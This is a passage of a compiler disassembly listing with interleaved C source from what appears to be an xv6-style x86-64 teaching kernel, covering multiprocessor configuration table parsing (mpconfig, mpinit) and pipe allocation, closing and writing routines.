ffff800000105cb2: 48 83 c0 13 add $0x13,%rax
ffff800000105cb6: 0f b6 00 movzbl (%rax),%eax
ffff800000105cb9: 0f b6 c0 movzbl %al,%eax
ffff800000105cbc: 09 d0 or %edx,%eax
ffff800000105cbe: c1 e0 0a shl $0xa,%eax
ffff800000105cc1: 89 45 f4 mov %eax,-0xc(%rbp)
if((mp = mpsearch1(p-1024, 1024)))
ffff800000105cc4: 8b 45 f4 mov -0xc(%rbp),%eax
ffff800000105cc7: 2d 00 04 00 00 sub $0x400,%eax
ffff800000105ccc: 89 c0 mov %eax,%eax
ffff800000105cce: be 00 04 00 00 mov $0x400,%esi
ffff800000105cd3: 48 89 c7 mov %rax,%rdi
ffff800000105cd6: 48 b8 89 5b 10 00 00 movabs $0xffff800000105b89,%rax
ffff800000105cdd: 80 ff ff
ffff800000105ce0: ff d0 callq *%rax
ffff800000105ce2: 48 89 45 e8 mov %rax,-0x18(%rbp)
ffff800000105ce6: 48 83 7d e8 00 cmpq $0x0,-0x18(%rbp)
ffff800000105ceb: 74 06 je ffff800000105cf3 <mpsearch+0xc9>
return mp;
ffff800000105ced: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000105cf1: eb 16 jmp ffff800000105d09 <mpsearch+0xdf>
}
return mpsearch1(0xF0000, 0x10000);
ffff800000105cf3: be 00 00 01 00 mov $0x10000,%esi
ffff800000105cf8: bf 00 00 0f 00 mov $0xf0000,%edi
ffff800000105cfd: 48 b8 89 5b 10 00 00 movabs $0xffff800000105b89,%rax
ffff800000105d04: 80 ff ff
ffff800000105d07: ff d0 callq *%rax
}
ffff800000105d09: c9 leaveq
ffff800000105d0a: c3 retq
ffff800000105d0b <mpconfig>:
// Check for correct signature, calculate the checksum and,
// if correct, check the version.
// To do: check extended table checksum.
static struct mpconf*
mpconfig(struct mp **pmp)
{
ffff800000105d0b: f3 0f 1e fa endbr64
ffff800000105d0f: 55 push %rbp
ffff800000105d10: 48 89 e5 mov %rsp,%rbp
ffff800000105d13: 48 83 ec 20 sub $0x20,%rsp
ffff800000105d17: 48 89 7d e8 mov %rdi,-0x18(%rbp)
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
ffff800000105d1b: 48 b8 2a 5c 10 00 00 movabs $0xffff800000105c2a,%rax
ffff800000105d22: 80 ff ff
ffff800000105d25: ff d0 callq *%rax
ffff800000105d27: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000105d2b: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff800000105d30: 74 0b je ffff800000105d3d <mpconfig+0x32>
ffff800000105d32: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105d36: 8b 40 04 mov 0x4(%rax),%eax
ffff800000105d39: 85 c0 test %eax,%eax
ffff800000105d3b: 75 0a jne ffff800000105d47 <mpconfig+0x3c>
return 0;
ffff800000105d3d: b8 00 00 00 00 mov $0x0,%eax
ffff800000105d42: e9 a0 00 00 00 jmpq ffff800000105de7 <mpconfig+0xdc>
conf = (struct mpconf*) P2V((addr_t) mp->physaddr);
ffff800000105d47: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105d4b: 8b 40 04 mov 0x4(%rax),%eax
ffff800000105d4e: 89 c2 mov %eax,%edx
ffff800000105d50: 48 b8 00 00 00 00 00 movabs $0xffff800000000000,%rax
ffff800000105d57: 80 ff ff
ffff800000105d5a: 48 01 d0 add %rdx,%rax
ffff800000105d5d: 48 89 45 f0 mov %rax,-0x10(%rbp)
if(memcmp(conf, "PCMP", 4) != 0)
ffff800000105d61: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105d65: ba 04 00 00 00 mov $0x4,%edx
ffff800000105d6a: 48 be 6d c7 10 00 00 movabs $0xffff80000010c76d,%rsi
ffff800000105d71: 80 ff ff
ffff800000105d74: 48 89 c7 mov %rax,%rdi
ffff800000105d77: 48 b8 9d 7c 10 00 00 movabs $0xffff800000107c9d,%rax
ffff800000105d7e: 80 ff ff
ffff800000105d81: ff d0 callq *%rax
ffff800000105d83: 85 c0 test %eax,%eax
ffff800000105d85: 74 07 je ffff800000105d8e <mpconfig+0x83>
return 0;
ffff800000105d87: b8 00 00 00 00 mov $0x0,%eax
ffff800000105d8c: eb 59 jmp ffff800000105de7 <mpconfig+0xdc>
if(conf->version != 1 && conf->version != 4)
ffff800000105d8e: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105d92: 0f b6 40 06 movzbl 0x6(%rax),%eax
ffff800000105d96: 3c 01 cmp $0x1,%al
ffff800000105d98: 74 13 je ffff800000105dad <mpconfig+0xa2>
ffff800000105d9a: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105d9e: 0f b6 40 06 movzbl 0x6(%rax),%eax
ffff800000105da2: 3c 04 cmp $0x4,%al
ffff800000105da4: 74 07 je ffff800000105dad <mpconfig+0xa2>
return 0;
ffff800000105da6: b8 00 00 00 00 mov $0x0,%eax
ffff800000105dab: eb 3a jmp ffff800000105de7 <mpconfig+0xdc>
if(sum((uchar*)conf, conf->length) != 0)
ffff800000105dad: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105db1: 0f b7 40 04 movzwl 0x4(%rax),%eax
ffff800000105db5: 0f b7 d0 movzwl %ax,%edx
ffff800000105db8: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105dbc: 89 d6 mov %edx,%esi
ffff800000105dbe: 48 89 c7 mov %rax,%rdi
ffff800000105dc1: 48 b8 3f 5b 10 00 00 movabs $0xffff800000105b3f,%rax
ffff800000105dc8: 80 ff ff
ffff800000105dcb: ff d0 callq *%rax
ffff800000105dcd: 84 c0 test %al,%al
ffff800000105dcf: 74 07 je ffff800000105dd8 <mpconfig+0xcd>
return 0;
ffff800000105dd1: b8 00 00 00 00 mov $0x0,%eax
ffff800000105dd6: eb 0f jmp ffff800000105de7 <mpconfig+0xdc>
*pmp = mp;
ffff800000105dd8: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000105ddc: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff800000105de0: 48 89 10 mov %rdx,(%rax)
return conf;
ffff800000105de3: 48 8b 45 f0 mov -0x10(%rbp),%rax
}
ffff800000105de7: c9 leaveq
ffff800000105de8: c3 retq
ffff800000105de9 <mpinit>:
void
mpinit(void)
{
ffff800000105de9: f3 0f 1e fa endbr64
ffff800000105ded: 55 push %rbp
ffff800000105dee: 48 89 e5 mov %rsp,%rbp
ffff800000105df1: 48 83 ec 30 sub $0x30,%rsp
struct mp *mp;
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0) {
ffff800000105df5: 48 8d 45 d0 lea -0x30(%rbp),%rax
ffff800000105df9: 48 89 c7 mov %rax,%rdi
ffff800000105dfc: 48 b8 0b 5d 10 00 00 movabs $0xffff800000105d0b,%rax
ffff800000105e03: 80 ff ff
ffff800000105e06: ff d0 callq *%rax
ffff800000105e08: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff800000105e0c: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff800000105e11: 75 20 jne ffff800000105e33 <mpinit+0x4a>
cprintf("No other CPUs found.\n");
ffff800000105e13: 48 bf 72 c7 10 00 00 movabs $0xffff80000010c772,%rdi
ffff800000105e1a: 80 ff ff
ffff800000105e1d: b8 00 00 00 00 mov $0x0,%eax
ffff800000105e22: 48 ba 18 08 10 00 00 movabs $0xffff800000100818,%rdx
ffff800000105e29: 80 ff ff
ffff800000105e2c: ff d2 callq *%rdx
ffff800000105e2e: e9 c3 01 00 00 jmpq ffff800000105ff6 <mpinit+0x20d>
return;
}
lapic = P2V((addr_t)conf->lapicaddr_p);
ffff800000105e33: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105e37: 8b 40 24 mov 0x24(%rax),%eax
ffff800000105e3a: 89 c2 mov %eax,%edx
ffff800000105e3c: 48 b8 00 00 00 00 00 movabs $0xffff800000000000,%rax
ffff800000105e43: 80 ff ff
ffff800000105e46: 48 01 d0 add %rdx,%rax
ffff800000105e49: 48 89 c2 mov %rax,%rdx
ffff800000105e4c: 48 b8 c0 71 1f 00 00 movabs $0xffff8000001f71c0,%rax
ffff800000105e53: 80 ff ff
ffff800000105e56: 48 89 10 mov %rdx,(%rax)
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
ffff800000105e59: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105e5d: 48 83 c0 2c add $0x2c,%rax
ffff800000105e61: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000105e65: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105e69: 0f b7 40 04 movzwl 0x4(%rax),%eax
ffff800000105e6d: 0f b7 d0 movzwl %ax,%edx
ffff800000105e70: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000105e74: 48 01 d0 add %rdx,%rax
ffff800000105e77: 48 89 45 e8 mov %rax,-0x18(%rbp)
ffff800000105e7b: e9 f3 00 00 00 jmpq ffff800000105f73 <mpinit+0x18a>
switch(*p){
ffff800000105e80: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105e84: 0f b6 00 movzbl (%rax),%eax
ffff800000105e87: 0f b6 c0 movzbl %al,%eax
ffff800000105e8a: 83 f8 04 cmp $0x4,%eax
ffff800000105e8d: 0f 8f ca 00 00 00 jg ffff800000105f5d <mpinit+0x174>
ffff800000105e93: 83 f8 03 cmp $0x3,%eax
ffff800000105e96: 0f 8d ba 00 00 00 jge ffff800000105f56 <mpinit+0x16d>
ffff800000105e9c: 83 f8 02 cmp $0x2,%eax
ffff800000105e9f: 0f 84 8e 00 00 00 je ffff800000105f33 <mpinit+0x14a>
ffff800000105ea5: 83 f8 02 cmp $0x2,%eax
ffff800000105ea8: 0f 8f af 00 00 00 jg ffff800000105f5d <mpinit+0x174>
ffff800000105eae: 85 c0 test %eax,%eax
ffff800000105eb0: 74 0e je ffff800000105ec0 <mpinit+0xd7>
ffff800000105eb2: 83 f8 01 cmp $0x1,%eax
ffff800000105eb5: 0f 84 9b 00 00 00 je ffff800000105f56 <mpinit+0x16d>
ffff800000105ebb: e9 9d 00 00 00 jmpq ffff800000105f5d <mpinit+0x174>
case MPPROC:
proc = (struct mpproc*)p;
ffff800000105ec0: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105ec4: 48 89 45 d8 mov %rax,-0x28(%rbp)
if(ncpu < NCPU) {
ffff800000105ec8: 48 b8 20 74 1f 00 00 movabs $0xffff8000001f7420,%rax
ffff800000105ecf: 80 ff ff
ffff800000105ed2: 8b 00 mov (%rax),%eax
ffff800000105ed4: 83 f8 07 cmp $0x7,%eax
ffff800000105ed7: 7f 53 jg ffff800000105f2c <mpinit+0x143>
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
ffff800000105ed9: 48 b8 20 74 1f 00 00 movabs $0xffff8000001f7420,%rax
ffff800000105ee0: 80 ff ff
ffff800000105ee3: 8b 10 mov (%rax),%edx
ffff800000105ee5: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff800000105ee9: 0f b6 48 01 movzbl 0x1(%rax),%ecx
ffff800000105eed: 48 be e0 72 1f 00 00 movabs $0xffff8000001f72e0,%rsi
ffff800000105ef4: 80 ff ff
ffff800000105ef7: 48 63 d2 movslq %edx,%rdx
ffff800000105efa: 48 89 d0 mov %rdx,%rax
ffff800000105efd: 48 c1 e0 02 shl $0x2,%rax
ffff800000105f01: 48 01 d0 add %rdx,%rax
ffff800000105f04: 48 c1 e0 03 shl $0x3,%rax
ffff800000105f08: 48 01 f0 add %rsi,%rax
ffff800000105f0b: 48 83 c0 01 add $0x1,%rax
ffff800000105f0f: 88 08 mov %cl,(%rax)
ncpu++;
ffff800000105f11: 48 b8 20 74 1f 00 00 movabs $0xffff8000001f7420,%rax
ffff800000105f18: 80 ff ff
ffff800000105f1b: 8b 00 mov (%rax),%eax
ffff800000105f1d: 8d 50 01 lea 0x1(%rax),%edx
ffff800000105f20: 48 b8 20 74 1f 00 00 movabs $0xffff8000001f7420,%rax
ffff800000105f27: 80 ff ff
ffff800000105f2a: 89 10 mov %edx,(%rax)
}
p += sizeof(struct mpproc);
ffff800000105f2c: 48 83 45 f8 14 addq $0x14,-0x8(%rbp)
continue;
ffff800000105f31: eb 40 jmp ffff800000105f73 <mpinit+0x18a>
case MPIOAPIC:
ioapic = (struct mpioapic*)p;
ffff800000105f33: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105f37: 48 89 45 e0 mov %rax,-0x20(%rbp)
ioapicid = ioapic->apicno;
ffff800000105f3b: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000105f3f: 0f b6 40 01 movzbl 0x1(%rax),%eax
ffff800000105f43: 48 ba 24 74 1f 00 00 movabs $0xffff8000001f7424,%rdx
ffff800000105f4a: 80 ff ff
ffff800000105f4d: 88 02 mov %al,(%rdx)
p += sizeof(struct mpioapic);
ffff800000105f4f: 48 83 45 f8 08 addq $0x8,-0x8(%rbp)
continue;
ffff800000105f54: eb 1d jmp ffff800000105f73 <mpinit+0x18a>
case MPBUS:
case MPIOINTR:
case MPLINTR:
p += 8;
ffff800000105f56: 48 83 45 f8 08 addq $0x8,-0x8(%rbp)
continue;
ffff800000105f5b: eb 16 jmp ffff800000105f73 <mpinit+0x18a>
default:
panic("Major problem parsing mp config.");
ffff800000105f5d: 48 bf 88 c7 10 00 00 movabs $0xffff80000010c788,%rdi
ffff800000105f64: 80 ff ff
ffff800000105f67: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000105f6e: 80 ff ff
ffff800000105f71: ff d0 callq *%rax
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
ffff800000105f73: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000105f77: 48 3b 45 e8 cmp -0x18(%rbp),%rax
ffff800000105f7b: 0f 82 ff fe ff ff jb ffff800000105e80 <mpinit+0x97>
break;
}
}
cprintf("Seems we are SMP, ncpu = %d\n",ncpu);
ffff800000105f81: 48 b8 20 74 1f 00 00 movabs $0xffff8000001f7420,%rax
ffff800000105f88: 80 ff ff
ffff800000105f8b: 8b 00 mov (%rax),%eax
ffff800000105f8d: 89 c6 mov %eax,%esi
ffff800000105f8f: 48 bf a9 c7 10 00 00 movabs $0xffff80000010c7a9,%rdi
ffff800000105f96: 80 ff ff
ffff800000105f99: b8 00 00 00 00 mov $0x0,%eax
ffff800000105f9e: 48 ba 18 08 10 00 00 movabs $0xffff800000100818,%rdx
ffff800000105fa5: 80 ff ff
ffff800000105fa8: ff d2 callq *%rdx
if(mp->imcrp){
ffff800000105faa: 48 8b 45 d0 mov -0x30(%rbp),%rax
ffff800000105fae: 0f b6 40 0c movzbl 0xc(%rax),%eax
ffff800000105fb2: 84 c0 test %al,%al
ffff800000105fb4: 74 40 je ffff800000105ff6 <mpinit+0x20d>
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
ffff800000105fb6: be 70 00 00 00 mov $0x70,%esi
ffff800000105fbb: bf 22 00 00 00 mov $0x22,%edi
ffff800000105fc0: 48 b8 1a 5b 10 00 00 movabs $0xffff800000105b1a,%rax
ffff800000105fc7: 80 ff ff
ffff800000105fca: ff d0 callq *%rax
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
ffff800000105fcc: bf 23 00 00 00 mov $0x23,%edi
ffff800000105fd1: 48 b8 f8 5a 10 00 00 movabs $0xffff800000105af8,%rax
ffff800000105fd8: 80 ff ff
ffff800000105fdb: ff d0 callq *%rax
ffff800000105fdd: 83 c8 01 or $0x1,%eax
ffff800000105fe0: 0f b6 c0 movzbl %al,%eax
ffff800000105fe3: 89 c6 mov %eax,%esi
ffff800000105fe5: bf 23 00 00 00 mov $0x23,%edi
ffff800000105fea: 48 b8 1a 5b 10 00 00 movabs $0xffff800000105b1a,%rax
ffff800000105ff1: 80 ff ff
ffff800000105ff4: ff d0 callq *%rax
}
}
ffff800000105ff6: c9 leaveq
ffff800000105ff7: c3 retq
ffff800000105ff8 <pipealloc>:
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
ffff800000105ff8: f3 0f 1e fa endbr64
ffff800000105ffc: 55 push %rbp
ffff800000105ffd: 48 89 e5 mov %rsp,%rbp
ffff800000106000: 48 83 ec 20 sub $0x20,%rsp
ffff800000106004: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff800000106008: 48 89 75 e0 mov %rsi,-0x20(%rbp)
struct pipe *p;
p = 0;
ffff80000010600c: 48 c7 45 f8 00 00 00 movq $0x0,-0x8(%rbp)
ffff800000106013: 00
*f0 = *f1 = 0;
ffff800000106014: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000106018: 48 c7 00 00 00 00 00 movq $0x0,(%rax)
ffff80000010601f: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000106023: 48 8b 10 mov (%rax),%rdx
ffff800000106026: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010602a: 48 89 10 mov %rdx,(%rax)
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
ffff80000010602d: 48 b8 84 1b 10 00 00 movabs $0xffff800000101b84,%rax
ffff800000106034: 80 ff ff
ffff800000106037: ff d0 callq *%rax
ffff800000106039: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff80000010603d: 48 89 02 mov %rax,(%rdx)
ffff800000106040: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000106044: 48 8b 00 mov (%rax),%rax
ffff800000106047: 48 85 c0 test %rax,%rax
ffff80000010604a: 0f 84 fe 00 00 00 je ffff80000010614e <pipealloc+0x156>
ffff800000106050: 48 b8 84 1b 10 00 00 movabs $0xffff800000101b84,%rax
ffff800000106057: 80 ff ff
ffff80000010605a: ff d0 callq *%rax
ffff80000010605c: 48 8b 55 e0 mov -0x20(%rbp),%rdx
ffff800000106060: 48 89 02 mov %rax,(%rdx)
ffff800000106063: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000106067: 48 8b 00 mov (%rax),%rax
ffff80000010606a: 48 85 c0 test %rax,%rax
ffff80000010606d: 0f 84 db 00 00 00 je ffff80000010614e <pipealloc+0x156>
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
ffff800000106073: 48 b8 66 42 10 00 00 movabs $0xffff800000104266,%rax
ffff80000010607a: 80 ff ff
ffff80000010607d: ff d0 callq *%rax
ffff80000010607f: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000106083: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff800000106088: 0f 84 c3 00 00 00 je ffff800000106151 <pipealloc+0x159>
goto bad;
p->readopen = 1;
ffff80000010608e: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106092: c7 80 70 02 00 00 01 movl $0x1,0x270(%rax)
ffff800000106099: 00 00 00
p->writeopen = 1;
ffff80000010609c: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001060a0: c7 80 74 02 00 00 01 movl $0x1,0x274(%rax)
ffff8000001060a7: 00 00 00
p->nwrite = 0;
ffff8000001060aa: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001060ae: c7 80 6c 02 00 00 00 movl $0x0,0x26c(%rax)
ffff8000001060b5: 00 00 00
p->nread = 0;
ffff8000001060b8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001060bc: c7 80 68 02 00 00 00 movl $0x0,0x268(%rax)
ffff8000001060c3: 00 00 00
initlock(&p->lock, "pipe");
ffff8000001060c6: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001060ca: 48 be c6 c7 10 00 00 movabs $0xffff80000010c7c6,%rsi
ffff8000001060d1: 80 ff ff
ffff8000001060d4: 48 89 c7 mov %rax,%rdi
ffff8000001060d7: 48 b8 24 78 10 00 00 movabs $0xffff800000107824,%rax
ffff8000001060de: 80 ff ff
ffff8000001060e1: ff d0 callq *%rax
(*f0)->type = FD_PIPE;
ffff8000001060e3: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001060e7: 48 8b 00 mov (%rax),%rax
ffff8000001060ea: c7 00 01 00 00 00 movl $0x1,(%rax)
(*f0)->readable = 1;
ffff8000001060f0: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001060f4: 48 8b 00 mov (%rax),%rax
ffff8000001060f7: c6 40 08 01 movb $0x1,0x8(%rax)
(*f0)->writable = 0;
ffff8000001060fb: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001060ff: 48 8b 00 mov (%rax),%rax
ffff800000106102: c6 40 09 00 movb $0x0,0x9(%rax)
(*f0)->pipe = p;
ffff800000106106: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010610a: 48 8b 00 mov (%rax),%rax
ffff80000010610d: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff800000106111: 48 89 50 10 mov %rdx,0x10(%rax)
(*f1)->type = FD_PIPE;
ffff800000106115: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000106119: 48 8b 00 mov (%rax),%rax
ffff80000010611c: c7 00 01 00 00 00 movl $0x1,(%rax)
(*f1)->readable = 0;
ffff800000106122: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000106126: 48 8b 00 mov (%rax),%rax
ffff800000106129: c6 40 08 00 movb $0x0,0x8(%rax)
(*f1)->writable = 1;
ffff80000010612d: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000106131: 48 8b 00 mov (%rax),%rax
ffff800000106134: c6 40 09 01 movb $0x1,0x9(%rax)
(*f1)->pipe = p;
ffff800000106138: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010613c: 48 8b 00 mov (%rax),%rax
ffff80000010613f: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff800000106143: 48 89 50 10 mov %rdx,0x10(%rax)
return 0;
ffff800000106147: b8 00 00 00 00 mov $0x0,%eax
ffff80000010614c: eb 67 jmp ffff8000001061b5 <pipealloc+0x1bd>
goto bad;
ffff80000010614e: 90 nop
ffff80000010614f: eb 01 jmp ffff800000106152 <pipealloc+0x15a>
goto bad;
ffff800000106151: 90 nop
//PAGEBREAK: 20
bad:
if(p)
ffff800000106152: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff800000106157: 74 13 je ffff80000010616c <pipealloc+0x174>
krelease((char*)p);
ffff800000106159: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010615d: 48 89 c7 mov %rax,%rdi
ffff800000106160: 48 b8 20 43 10 00 00 movabs $0xffff800000104320,%rax
ffff800000106167: 80 ff ff
ffff80000010616a: ff d0 callq *%rax
if(*f0)
ffff80000010616c: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000106170: 48 8b 00 mov (%rax),%rax
ffff800000106173: 48 85 c0 test %rax,%rax
ffff800000106176: 74 16 je ffff80000010618e <pipealloc+0x196>
fileclose(*f0);
ffff800000106178: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010617c: 48 8b 00 mov (%rax),%rax
ffff80000010617f: 48 89 c7 mov %rax,%rdi
ffff800000106182: 48 b8 8e 1c 10 00 00 movabs $0xffff800000101c8e,%rax
ffff800000106189: 80 ff ff
ffff80000010618c: ff d0 callq *%rax
if(*f1)
ffff80000010618e: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000106192: 48 8b 00 mov (%rax),%rax
ffff800000106195: 48 85 c0 test %rax,%rax
ffff800000106198: 74 16 je ffff8000001061b0 <pipealloc+0x1b8>
fileclose(*f1);
ffff80000010619a: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010619e: 48 8b 00 mov (%rax),%rax
ffff8000001061a1: 48 89 c7 mov %rax,%rdi
ffff8000001061a4: 48 b8 8e 1c 10 00 00 movabs $0xffff800000101c8e,%rax
ffff8000001061ab: 80 ff ff
ffff8000001061ae: ff d0 callq *%rax
return -1;
ffff8000001061b0: b8 ff ff ff ff mov $0xffffffff,%eax
}
ffff8000001061b5: c9 leaveq
ffff8000001061b6: c3 retq
ffff8000001061b7 <pipeclose>:
void
pipeclose(struct pipe *p, int writable)
{
ffff8000001061b7: f3 0f 1e fa endbr64
ffff8000001061bb: 55 push %rbp
ffff8000001061bc: 48 89 e5 mov %rsp,%rbp
ffff8000001061bf: 48 83 ec 10 sub $0x10,%rsp
ffff8000001061c3: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff8000001061c7: 89 75 f4 mov %esi,-0xc(%rbp)
acquire(&p->lock);
ffff8000001061ca: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001061ce: 48 89 c7 mov %rax,%rdi
ffff8000001061d1: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001061d8: 80 ff ff
ffff8000001061db: ff d0 callq *%rax
if(writable){
ffff8000001061dd: 83 7d f4 00 cmpl $0x0,-0xc(%rbp)
ffff8000001061e1: 74 29 je ffff80000010620c <pipeclose+0x55>
p->writeopen = 0;
ffff8000001061e3: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001061e7: c7 80 74 02 00 00 00 movl $0x0,0x274(%rax)
ffff8000001061ee: 00 00 00
wakeup(&p->nread);
ffff8000001061f1: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001061f5: 48 05 68 02 00 00 add $0x268,%rax
ffff8000001061fb: 48 89 c7 mov %rax,%rdi
ffff8000001061fe: 48 b8 b8 73 10 00 00 movabs $0xffff8000001073b8,%rax
ffff800000106205: 80 ff ff
ffff800000106208: ff d0 callq *%rax
ffff80000010620a: eb 27 jmp ffff800000106233 <pipeclose+0x7c>
} else {
p->readopen = 0;
ffff80000010620c: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106210: c7 80 70 02 00 00 00 movl $0x0,0x270(%rax)
ffff800000106217: 00 00 00
wakeup(&p->nwrite);
ffff80000010621a: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010621e: 48 05 6c 02 00 00 add $0x26c,%rax
ffff800000106224: 48 89 c7 mov %rax,%rdi
ffff800000106227: 48 b8 b8 73 10 00 00 movabs $0xffff8000001073b8,%rax
ffff80000010622e: 80 ff ff
ffff800000106231: ff d0 callq *%rax
}
if(p->readopen == 0 && p->writeopen == 0){
ffff800000106233: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106237: 8b 80 70 02 00 00 mov 0x270(%rax),%eax
ffff80000010623d: 85 c0 test %eax,%eax
ffff80000010623f: 75 36 jne ffff800000106277 <pipeclose+0xc0>
ffff800000106241: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106245: 8b 80 74 02 00 00 mov 0x274(%rax),%eax
ffff80000010624b: 85 c0 test %eax,%eax
ffff80000010624d: 75 28 jne ffff800000106277 <pipeclose+0xc0>
release(&p->lock);
ffff80000010624f: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106253: 48 89 c7 mov %rax,%rdi
ffff800000106256: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff80000010625d: 80 ff ff
ffff800000106260: ff d0 callq *%rax
krelease((char*)p);
ffff800000106262: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106266: 48 89 c7 mov %rax,%rdi
ffff800000106269: 48 b8 20 43 10 00 00 movabs $0xffff800000104320,%rax
ffff800000106270: 80 ff ff
ffff800000106273: ff d0 callq *%rax
ffff800000106275: eb 14 jmp ffff80000010628b <pipeclose+0xd4>
} else
release(&p->lock);
ffff800000106277: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010627b: 48 89 c7 mov %rax,%rdi
ffff80000010627e: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000106285: 80 ff ff
ffff800000106288: ff d0 callq *%rax
}
ffff80000010628a: 90 nop
ffff80000010628b: 90 nop
ffff80000010628c: c9 leaveq
ffff80000010628d: c3 retq
ffff80000010628e <pipewrite>:
//PAGEBREAK: 40
int
pipewrite(struct pipe *p, char *addr, int n)
{
ffff80000010628e: f3 0f 1e fa endbr64
ffff800000106292: 55 push %rbp
ffff800000106293: 48 89 e5 mov %rsp,%rbp
ffff800000106296: 48 83 ec 30 sub $0x30,%rsp
ffff80000010629a: 48 89 7d e8 mov %rdi,-0x18(%rbp)
ffff80000010629e: 48 89 75 e0 mov %rsi,-0x20(%rbp)
ffff8000001062a2: 89 55 dc mov %edx,-0x24(%rbp)
int i;
acquire(&p->lock);
ffff8000001062a5: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001062a9: 48 89 c7 mov %rax,%rdi
ffff8000001062ac: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001062b3: 80 ff ff
ffff8000001062b6: ff d0 callq *%rax
for(i = 0; i < n; i++){
ffff8000001062b8: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff8000001062bf: e9 d5 00 00 00 jmpq ffff800000106399 <pipewrite+0x10b>
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
if(p->readopen == 0 || proc->killed){
ffff8000001062c4: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001062c8: 8b 80 70 02 00 00 mov 0x270(%rax),%eax
ffff8000001062ce: 85 c0 test %eax,%eax
ffff8000001062d0: 74 12 je ffff8000001062e4 <pipewrite+0x56>
ffff8000001062d2: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
